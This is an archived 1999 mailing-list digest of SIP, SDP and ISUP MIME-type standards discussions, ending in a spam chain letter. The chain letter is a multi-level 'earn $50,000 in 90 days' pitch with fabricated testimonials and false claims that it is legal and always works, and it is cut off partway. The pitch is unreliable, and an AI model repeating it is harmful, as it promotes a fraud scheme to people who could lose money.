A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-kristensen-sip-servlet-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990914074634.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-kristensen-sip-servlet-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-kristensen-sip-servlet-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990914074634.I-D@ietf.org>

--OtherAccess--

--NextPart--



--------------99CCF19AAB26DCFAC7F5E6B4--


From confctrl-owner  Wed Sep 15 07:52:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA28519
	for confctrl-outgoing; Wed, 15 Sep 1999 07:52:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA28514
	for <confctrl@zephyr.isi.edu>; Wed, 15 Sep 1999 07:52:05 -0700 (PDT)
Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA29631
	for <confctrl@isi.edu>; Wed, 15 Sep 1999 07:52:04 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by crufty; Wed Sep 15 10:50:50 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA12642;
	Wed, 15 Sep 1999 10:50:48 -0400 (EDT)
Message-ID: <37DFB22F.7BA54E2F@dnrc.bell-labs.com>
Date: Wed, 15 Sep 1999 10:50:23 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Lars Berggren <lars.berggren@intertex.se>
CC: MMUSIC list <confctrl@ISI.EDU>
Subject: Re: BYE terminating pending INVITE transaction
References: <37DF56CB.5D7A0CEF@intertex.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Lars Berggren wrote:
> 
> Hi.
> 
> See
> http://www.cs.columbia.edu/~hgs/sip/drafts/draft-ietf-mmusic-sip-new-00.pdf,
> section 4.2.4.
> 
> "A BYE request from either called or calling party terminates any
> pending INVITE,but the INVITE request transaction MUST be completed with
> a final response."
> 
> This does not seem to match the state diagram for the INVITE method in
> figure 13, if the server receives a BYE in the 'call proceeding' state.

This needs to be updated to be consistent.

> 
> Shouldn't there be a dedicated response code for this scenario, 487?

Its not critical, but 487 makes sense.

> 
> If a client sends a BYE to an INVITE that is pending, and the BYE
> completes first, it waits for the INVITE transaction to complete. If it
> completes with a 2xx status, how should the state of the call be
> interpreted by the client? As I interpret SIP, the call is released due
> to the fact that the BYE has a higher cseq value. The time of completion
> is not of significance, right? Anyway, this scenario seems to be
> unlikely to happen and the client will probably send another BYE after
> it receives that 2xx response.

If the BYE completes with a 200 OK, the call is over, regardless of
whether the BYE response or INVITE response arrives first. As you say,
it is the CSeq ordering which is important, not the order of arrival of
responses. Sending another BYE won't help, as this will be responded to
with a 481 (I think) indicating that no such call exists.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Sep 15 09:17:33 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA02018
	for confctrl-outgoing; Wed, 15 Sep 1999 09:17:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA02013
	for <confctrl@zephyr.isi.edu>; Wed, 15 Sep 1999 09:17:31 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA06006
	for <confctrl@ISI.EDU>; Wed, 15 Sep 1999 09:17:30 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id LAA13924;
	Wed, 15 Sep 1999 11:16:56 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id LAA01531;
	Wed, 15 Sep 1999 11:16:55 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id LAA19428; Wed, 15 Sep 1999 11:16:54 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id LAA06065;
	Wed, 15 Sep 1999 11:16:53 -0500 (CDT)
Message-Id: <199909151616.LAA06065@b04a24.exu.ericsson.se>
Subject: Re: SIP - BCP Query
To: Aparna.Vemuri@Level3.com
Date: Wed, 15 Sep 1999 11:16:53 -0500 (CDT)
Cc: sardana@obsoft.com, confctrl@ISI.EDU, ericz@ipverse.com
In-Reply-To: <6DD3824BDF75D211930E0008C71EC92004096668@l3lsvlmail02.l3.com> from "Aparna.Vemuri@Level3.com" at Sep 14, 99 04:46:06 pm
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>	Content-Transfer-Encoding: binary(34)
>
>	89 8b 0e 95 1e 1e 1e 06 26 05 0d f5 01 06 10 04 00(17*2)
...
>     c.1 Number of octets in the ISUP payload (including the CRLF at the
>end)
>            =  34 + 2 = 36

When I read this, I assumed that, since you specify "binary encoding,"
each byte is encoded as a byte, not a two-character hex representation.
It was my interpretation that you spelled it out with hex digits in the
draft because a literal encoding of those bytes would be confusing,
unreadable, and difficult to transfer via e-mail.

This is further enforced by the contention in the draft that binary
encoding is used instead of base64 for space considerations.

Finally, if you're using a binary representation, there *is* no CR/LF
at the end of the section. It is my impression, then, that this section
should be 17 bytes instead of 36. 

Am I missing something?

Perhaps this should be spelled out more clearly in the draft. If it's
confusing enough that one of the authors misinterprets it, I'm willing
to be that many others will be thrown for a loop.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Wed Sep 15 09:28:15 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA02437
	for confctrl-outgoing; Wed, 15 Sep 1999 09:28:15 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA02432
	for <confctrl@zephyr.isi.edu>; Wed, 15 Sep 1999 09:28:13 -0700 (PDT)
Received: from nausicaa.coritel.it ([193.205.242.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA07180
	for <confctrl@ISI.EDU>; Wed, 15 Sep 1999 09:28:10 -0700 (PDT)
Received: from athena (athena.coritel.it [193.205.242.51])
	by nausicaa.coritel.it (8.9.3/8.9.3) with SMTP id RAA04033;
	Wed, 15 Sep 1999 17:58:06 +0200 (MET DST)
Message-ID: <003d01beff97$be5d9060$33f2cdc1@coritel.it>
From: "Shary" <shary@coritel.it>
To: "Vincenzo Crupi" <vincenzo.crupi@tei.ericsson.se>,
        "SIPML" <confctrl@ISI.EDU>
References: <37DE0D9C.AB6E42B9@tei.ericsson.se>
Subject: Re: TCP Connectionsboundary="------------133429A09EC83405FB4687D6"
Date: Wed, 15 Sep 1999 18:31:20 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

----- Original Message -----

From: Vincenzo Crupi <vincenzo.crupi@tei.ericsson.se>
To: SIPML <confctrl@ISI.EDU>
Sent: Tuesday, September 14, 1999 10:55 AM
Subject: TCP Connectionsboundary="------------133429A09EC83405FB4687D6"


> Hello,
>
> according to SIP rfc sec. 1.5.2
> ..."User agents SHOULD implement both UDP and TCP transport." and
> "Proxy, registrar, and redirect servers MUST implement both UDP and TCP
> transport"
> and in case of a Proxy server, it must be stateful  (sec. 12.3) to
> accept TCP requests.
>
> The question regards a stateless proxy server: should it rejects TCP
> requests or MUST anyway accept it?
>
>
> Thanks
> Kind regards
>
>
>

A proxy server MUST accept both UDP and TCP transport!!!
I think, if  it is initially stateless, and arrives a TCP request  it has to
switch to a stateful proxy.
Shary.




From confctrl-owner  Wed Sep 15 11:04:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA06783
	for confctrl-outgoing; Wed, 15 Sep 1999 11:04:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA06776
	for <confctrl@zephyr.isi.edu>; Wed, 15 Sep 1999 11:04:39 -0700 (PDT)
Received: from mailsrv.acc.com (mailsrv.acc.com [129.192.64.128])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA18246
	for <confctrl@isi.edu>; Wed, 15 Sep 1999 11:04:36 -0700 (PDT)
Received: from getafix.acc.com (getafix.acc.com [129.192.64.215])
	by mailsrv.acc.com (8.9.3/8.9.1) with ESMTP id LAA04594
	for <confctrl@isi.edu>; Wed, 15 Sep 1999 11:06:02 -0700 (PDT)
Date: Wed, 15 Sep 1999 11:02:43 -0700 (PDT)
From: Vikram Visweswaraiah <vikram@acc.com>
Reply-To: vikram@acc.com
To: confctrl@ISI.EDU
Subject: SDP (RFC2327) query
Message-ID: <Pine.LNX.4.10.9909151053400.774-100000@getafix.acc.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I'm seeking a minor clarification reg. few fields in the SDP rfc.

According to the RFC:

- email field "e=" is optional
- phone field "p=" is optional

Then, in the discussion titled `Email Address and Phone Number' the following
points are mentioned:

o Either an email field or a phone field must be specified. Additional email and
phone fields are allowed.

o If these are present, they should be specified before the first media field.

o More than one email or phone field can be given for a session description.

I'm confused on how to interpret this.

Is it true that atleast one of `e=' or `p=' should be present? If so, then why
the notion of `If these are present..'? Then if BOTH are optional, i.e a valid
SDP message can omit both `e=' and `p=', then why mention `Either an email field
or a phone field must be specified.'?

Thanks
:=Vikram



From confctrl-owner  Wed Sep 15 19:51:15 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA01101
	for confctrl-outgoing; Wed, 15 Sep 1999 19:51:15 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA01096
	for <confctrl@zephyr.isi.edu>; Wed, 15 Sep 1999 19:51:13 -0700 (PDT)
Received: from devonshire.cnchost.com (devonshire.concentric.net [207.155.248.12])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA05701
	for <confctrl@ISI.EDU>; Wed, 15 Sep 1999 19:51:13 -0700 (PDT)
Received: from ericzlt01 ([205.158.54.162])
	by devonshire.cnchost.com
	id WAA12685; Wed, 15 Sep 1999 22:51:09 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.8]
Reply-To: <ericz@ipverse.com>
From: "Eric Zimmerer" <ericz@ipverse.com>
To: "'Mark Watson'" <mwatson@nortelnetworks.com>
Cc: "'confctrl'" <confctrl@ISI.EDU>
Subject: RE: ISUP MIME type
Date: Wed, 15 Sep 1999 19:49:33 -0700
Message-ID: <001001beffee$1b9aed30$a301a8c7@ipverse.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
In-Reply-To: <61ABD11436FED21192440000F81F3E36012B6F4F@nwcwi1a.europe.nortel.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Mark,

It seems to me the key word here is "potentially".

Thanks,

Eric



-----Original Message-----
From: Mark Watson [mailto:mwatson@nortelnetworks.com]
Sent: Wednesday, September 15, 1999 5:15 AM
To: 'Adam B. Roach'; 'ericz'
Cc: confctrl
Subject: RE: ISUP MIME type


Eric,

There is no need to 'catalog' all the variants because, as you say, people
can register them on a first-come, first served basis. However if I am on
the receiving end of a Martian ISUP message whose variant name I have never
heared of and do not explicitly support, there is surely value in also
receiving an indication that this is a variant of, say, ETSI ISUP v2, which
I do support.

If I know this, not only can I correctly understand 99% of the message, but
I know what to do with the other 1% of it because I will also receive
'compatibility instructions'. These will allow me to gracefully remove the
'Martian' aspects of the message and so send it onwards into any part of the
PSTN/ISDN which is also based on ETSI ISUP v2.

If you do not capture this information then you need explicit support for
every variant which you might encounter and you have the well-trodden
n-squared problem of mapping between them. I admit it might be possible to
store this information statically, but why bother with this management
hassel when it's easy to it dynamically.

So, this extra information buys you the ability to transport and *interwork*
new protocol variants with potentially zero or minimal software upgrades to
your MGCs.

Regards,

Mark Watson
Nortel Networks, UK


> ----------
> From: 	Eric Zimmerer
> Reply To: 	ericz
> Sent: 	Tuesday, September 14, 1999 11:23 pm
> To: 	Watson, Mark [MOP:EP12-M:EXCH]; 'Adam B. Roach'
> Cc: 	confctrl
> Subject: 	RE: ISUP MIME type
>
> Mark,
>
> Capturing the compatibility relationships between ISUP variants does not
> seem to buy me anything.
>
> If we assume that MGCs will exist in a service provider's network, then
> there will be coordination that will enable interoperability/compatibility
> using a limited number of variants.
>
> In this case, a complete catalog of variants and relationships is
> overkill.
>
> If this assumption is not valid, and MGCs exist in an environment similar
> to
> hosts on the internet, (can you say chaos?) picking one ISUP variant and
> "standardizing" on it makes the most sense to me.
>
> In this case there is no need for a catalog of variants either.
>
> Eric
>
>
> -----Original Message-----
> From: Mark Watson [mailto:mwatson@nortelnetworks.com]
> Sent: Tuesday, September 14, 1999 2:37 AM
> To: ericz@ipverse.com; 'Adam B. Roach'
> Cc: confctrl@ISI.EDU
> Subject: RE: ISUP MIME type
>
>
> My proposal was just motivated by the desire to keep stuff like BT NUP out
> of the IP network if at all possible. If you want to keep a list at your
> originating MGC of the places to which it is 'safe' to send BT NUP, then
> by
> all means go ahead - I don't want to do it but I'm not going to stop you.
> So, I don't object to Adam's proposal of an application/ss7-userpart MIME
> type or Eric's suggestion of an application/tup MIME type.
>
> I'm afraid I have a pathelogical hatred of BT NUP which anyone else with
> experience of this protocol will hopefully understand :-)
>
> The main part of my comment was to suggest that we capture the
> compatibility
> relationships between various ISUPs in the MIME parameters - what do you
> think of that part ?
>
> Regards,
>
> Mark Watson
> Nortel Networks
>
> > ----------
> > From: 	Adam B. Roach
> > Sent: 	Monday, September 13, 1999 11:02 pm
> > To: 	ericz@ipverse.com
> > Cc: 	Watson, Mark [MOP:EP12-M:EXCH]; Adam.Roach@ericsson.com;
> > confctrl@ISI.EDU
> > Subject: 	Re: ISUP MIME type
> >
> > Eric> The scenario that Adam describes, where BT NUP is translated into
> > Eric> ISUP, transported via IP and then translated back into BT NUP
> > Eric> implies less-than-optimized interworking logic on the originating
> > Eric> MGC.
> >
> > I beleive you missed my point altogether: my example was meant to
> > highlight the fact that Mark Watson's current proposal specifies
> > that BT NUP **can't** be transited across the IP network. Even if the
> > MGC knows that the far end speaks BT NUP, Mark's messages imply that
> > it **must** be translated to ISUP before encapsulation in a SIP message.
> >
> > Allow me to re-quote the exact section of Mark's message to which
> > I was responding:
> >
> > Mark> When moving to IP technology, it does not make sense to perpetuate
> > Mark> this legacy signalling within the IP network, when the level of
> > Mark> services can be maintained with ISUP. There is therefore no need
> > Mark> to carry protocols such as BT NUP...
> >
> > Eric> If the originating MGC knows the terminating MGC "speaks" BT NUP,
> > Eric> then there is no need to translate it.
> >
> > I couldn't agree more. This is what I'd like to see: a draft that
> > addresses transit of User Part messages in general, not just ISUP
> > messages. Eric's draft appears to do this (although the name of
> > "application/ISUP" is horribly misleading if it is allowed to transit
> > TUP variants). What Mark has proposed in his "Comments on the proposed
> > ISUP MIME type" explicitly does *not* allow this.
> >
> > Finally, to address one of your earlier comments: why would we want to
> > go through the effort to define separate ISUP and TUP drafts, when
> > they'll be doing the same thing? By defining an
> "application/ss7-userpart"
> > draft, we do the work *once* for both.
> >
> > --
> > Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS
> > L-04
> > adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081
> > USA
> >
>
>


From confctrl-owner  Wed Sep 15 22:44:31 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA06628
	for confctrl-outgoing; Wed, 15 Sep 1999 22:44:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA06623
	for <confctrl@zephyr.isi.edu>; Wed, 15 Sep 1999 22:44:30 -0700 (PDT)
Received: from www.obsoft.com (root@obsoft.com [209.128.67.121])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA14531
	for <confctrl@ISI.EDU>; Wed, 15 Sep 1999 22:44:28 -0700 (PDT)
Received: from obsoft.com (sardana@localhost [127.0.0.1]) by www.obsoft.com (8.6.12/8.6.9) with ESMTP id XAA06819; Wed, 15 Sep 1999 23:39:36 -0500
Message-ID: <37E07487.B35AD22F@obsoft.com>
Date: Wed, 15 Sep 1999 23:39:35 -0500
From: Bobby Sardana <sardana@obsoft.com>
Organization: ObjectSoftware, Inc.
X-Mailer: Mozilla 4.04 [en] (X11; I; Linux 2.0.33 i586)
MIME-Version: 1.0
To: Aparna.Vemuri@Level3.com
CC: "Adam B. Roach" <Adam.Roach@Ericsson.com>, confctrl@ISI.EDU,
        ericz@ipverse.com
Subject: Re: SIP - BCP Query
References: <199909151616.LAA06065@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Greetings:

To continue with some of the legit concerns raised by Adam, here are a few of
my own:

Adam B. Roach wrote:

> >       Content-Transfer-Encoding: binary(34)
> >
> >       89 8b 0e 95 1e 1e 1e 06 26 05 0d f5 01 06 10 04 00(17*2)
> ...
> >     c.1 Number of octets in the ISUP payload (including the CRLF at the
> >end)
> >            =  34 + 2 = 36

 a. The example had " space" characters in it to separate the octets. What
about the count of those?

b. Will the octets be a stream (which it should be) with no whitespace or the
layout dictates to have each octet marked with a separator (easy for parsing)?

Thanks.

Bobby Sardana.
sardana@obsoft.com


> When I read this, I assumed that, since you specify "binary encoding,"
> each byte is encoded as a byte, not a two-character hex representation.
> It was my interpretation that you spelled it out with hex digits in the
> draft because a literal encoding of those bytes would be confusing,
> unreadable, and difficult to transfer via e-mail.
>
> This is further enforced by the contention in the draft that binary
> encoding is used instead of base64 for space considerations.
>
> Finally, if you're using a binary representation, there *is* no CR/LF
> at the end of the section. It is my impression, then, that this section
> should be 17 bytes instead of 36.
>
> Am I missing something?
>
> Perhaps this should be spelled out more clearly in the draft. If it's
> confusing enough that one of the authors misinterprets it, I'm willing
> to be that many others will be thrown for a loop.
>
> --
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA




From confctrl-owner  Fri Sep 17 07:26:52 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA22485
	for confctrl-outgoing; Fri, 17 Sep 1999 07:26:52 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA22480
	for <confctrl@zephyr.isi.edu>; Fri, 17 Sep 1999 07:26:50 -0700 (PDT)
Received: from jaguars.cableinet.net (jaguars-int.cableinet.net [193.38.113.9])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA19701
	for <confctrl@isi.edu>; Fri, 17 Sep 1999 07:26:49 -0700 (PDT)
Message-Id: <199909171426.HAA19701@tnt.isi.edu>
Received: (qmail 11996 invoked from network); 17 Sep 1999 14:26:42 -0000
Received: from unknown (HELO usr156-haw.cableinet.co.uk) (194.117.146.154)
  by jaguars with SMTP; 17 Sep 1999 14:26:42 -0000
From: newsletter <newsletter@cabot.co.uk>
To: "Cabot Software Newsletter"@ISI.EDU
Date: Fri, 17 Sep 1999 15:10:39 +0100
X-Distribution: Bulk
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Cabot's New Address Information
Reply-to: newsletter@cabot.co.uk
Priority: normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Please note with effect from Wednesday September 22nd Cabot's 
new address details are:

    4 Unity Street
    Bristol
    BS1 5HH
    England

Telephone:	(0)117 925 3084
Fax:		(0)117 925 3085

Email:		Sales@cabot.co.uk

Web:		http://www.cabot.co.uk




From confctrl-owner  Sat Sep 18 06:16:41 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA06783
	for confctrl-outgoing; Sat, 18 Sep 1999 06:16:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA06776;
	Sat, 18 Sep 1999 06:16:37 -0700 (PDT)
Received: from MAIL.NETCOM.COM (HSE-OTT-ppp30091.sympatico.ca [209.226.112.16])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA20556;
	Sat, 18 Sep 1999 06:15:27 -0700 (PDT)
From: Cash@hotmail.com
Subject: EBIZ = 1,2,3...4 CASH
Date: Sat, 18 Sep 1999 05:26:08
Message-Id: <786.148159.116413@MAIL.NETCOM.COM>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a one time message, if it reached you by mistake please accept 
my apologies, disregard and delete. Thank you.

Dear Entrepreneur:

Please take the time to read this. It can start you on the road to an 
easier life as an internet businessman/woman.
Thank you.



EBIZ = 1,2,3...4 CASH!

1.	READ THIS ALL THE WAY THROUGH!
2.	FOLLOW THE INSTRUCTIONS!
3.	GO BUY A BIG BAG...
4. 	ALL THE CASH!



THE PROGRAM
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

INCREDIBLE $0 to $50,000 in 90 days!!!

Dear Friend,

You can earn $50,000 or more in next the 90 days sending e-mail. Seem 
impossible? Read on for details.

"AS SEEN ON NATIONAL TV"
Thank you for your time and interest. This is the letter you've been 
reading about in the news lately.  Due to the popularity of this letter 
on the Internet, a major nightly news program recently devoted an entire 
show to the investigation of the program described below to see if it 
really can make people money.
The show also investigated whether or not the program was legal.  Their 
findings proved once and for all that there are absolutely no laws 
prohibiting the participation in the program. This has helped to show 
people that this is a simple, harmless and fun way to make some extra 
money at home.
The results of this show have been truly remarkable. So many people are 
participating that those involved are doing much better than ever 
before.  Since everyone makes more as more people try it out, it's been 
very exciting to be a part of it lately. You will understand once you 
experience it.

HERE IT IS BELOW:

*** Print This Now For Future Reference ***
The following income opportunity is one you may be interested in taking 
a look at. It can be started with VERY LITTLE investment and the income 
return is TREMENDOUS!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make at least $50,000 in less than 90 days !
Please read the enclosed program...THEN READ IT AGAIN!!!
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not 
require you to come into contact with people, do any hard work, and best 
of all, you never have to leave the house except to get the mail. If you 
believe that someday you'll get that big break that you've been waiting 
for, THIS IS IT!  Simply follow the instructions, and your dreams will 
come true. This multi-level e-mail order marketing program works 
perfectly...100% EVERY TIME.
E-mail is the sales tool of the future. Take advantage of this 
non-commercialized method of advertising NOW!!! The longer you wait, the 
more people will be doing business using e-mail. Get your piece of this 
action!!!
MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is 
being taught in the Harvard Business School, and both Stanford Research 
and the Wall Street Journal have stated that between 50% and 65% of all 
goods and services will be sold through multi-level methods by the mid 
to late 1990's.  This is a Multi-Billion Dollar industry and of the 
500,000 millionaires in the U.S., 20% (100,000) made their fortune in 
the last several years in MLM.  Moreover, statistics show 45 people 
become millionaires everyday through Multi-Level Marketing.
You may have heard this story before, but over the summer Donald Trump 
made an appearance on the David Letterman show. Dave asked him what he 
would do if he lost everything and had to start over from scratch. 
Without hesitating, Trump said he would find a good network marketing 
company and get to work. The audience started to hoot and boo him. He 
looked out at the audience and dead-panned his response:
"That's why I'm sitting up here and you are all sitting out there!"
The enclosed information is something I almost let slip through my 
fingers. Fortunately, sometime later I re-read everything and gave some 
thought and study to it. My name is Johnathon Rourke. Two years ago, the 
corporation I worked at for the past twelve years down-sized and my 
position was eliminated. After unproductive job interviews, I decided to 
open my own business. Over the past year, I incurred many unforeseen 
financial problems.  I owed my family, friends and creditors over 
$35,000.
The economy was taking a toll on my business and I just couldn't seem to 
make ends meet. I had to refinance and borrow against my home to support 
my family and struggling business. AT THAT MOMENT something significant 
happened in my life and I am writing to share the experience in hopes 
that this will change your life FOREVER FINANCIALLY!!!
In mid December, I received this program via e-mail. Six month's prior 
to receiving this program I had been sending away for information on 
various business opportunities. All of the programs I received, in my 
opinion, were not cost effective. They were either too difficult for me 
to comprehend or the initial investment was too much for me to risk to 
see if they would work or not. One claimed that I would make a million 
dollars in one year...it didn't tell me I'd have to write a book to make 
it!
But like I was saying, in December of 1997 I received this program. I 
didn't send for it, or ask for it, they just got my name off a mailing 
list. THANK GOODNESS FOR THAT!!! After reading it several times, to make 
sure I was reading it correctly, I couldn't believe my eyes. Here was a 
MONEY MAKING PHENOMENON. I could invest as much as I wanted to start, 
without putting me further into debt. After I got a pencil and paper and 
figured it out, I would at least get my money back. But like most of you 
I was still a little sceptical and a little worried about the legal 
aspects of it all. So I checked it out with the U.S. Post Office 
(1-800-725-2161 24-hrs) and they confirmed that it is indeed legal! 
After determining the program was LEGAL and NOT A CHAIN LETTER, I 
decided "WHY NOT."
Initially I sent out 10,000 e-mails. It cost me about $15 for my time 
on-line. The great thing about e-mail is that I don't need any money for 
printing to send out the program, and because all of my orders are 
fulfilled via e-mail, my only expense is my time. I am telling you like 
it is I hope it doesn't turn you off, but I promised myself that I would 
not "rip-off" anyone, no matter how much money it made me.
In less than one week, I was starting to receive orders for REPORT #1 By 
January 13, I had received 26 orders for REPORT #1. Your goal is to 
"RECEIVE at least 20 ORDERS FOR REPORT #1 WITHIN 2 WEEKS. IF YOU DON'T, 
SEND OUT MORE PROGRAMS UNTIL YOU DO!" My first step in making $50,000 in 
90 days was done.  By January 30, I had received 196 orders for REPORT 
#2. Your goal is to "RECEIVE AT LEAST 100+ ORDERS FOR REPORT #2 WITHIN 2 
WEEKS. IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 
ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL." Well, 
I had 196 orders for REPORT #2, 96 more than I needed. So I sat back and 
relaxed. By March 1, of my e-mailing of 10,000, I received $58,000 with 
more coming in every day.
I paid off ALL my debts and bought a much needed new car. Please take 
time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!!  ! 
Remember, it won't work if you don't try it. This program does work , 
but you must follow it EXACTLY! Especially the rules of not trying to 
place your name in a different place. It won't work and you'll lose out 
on a lot of money!
In order for this program to work, you must meet your goal of 20+ orders 
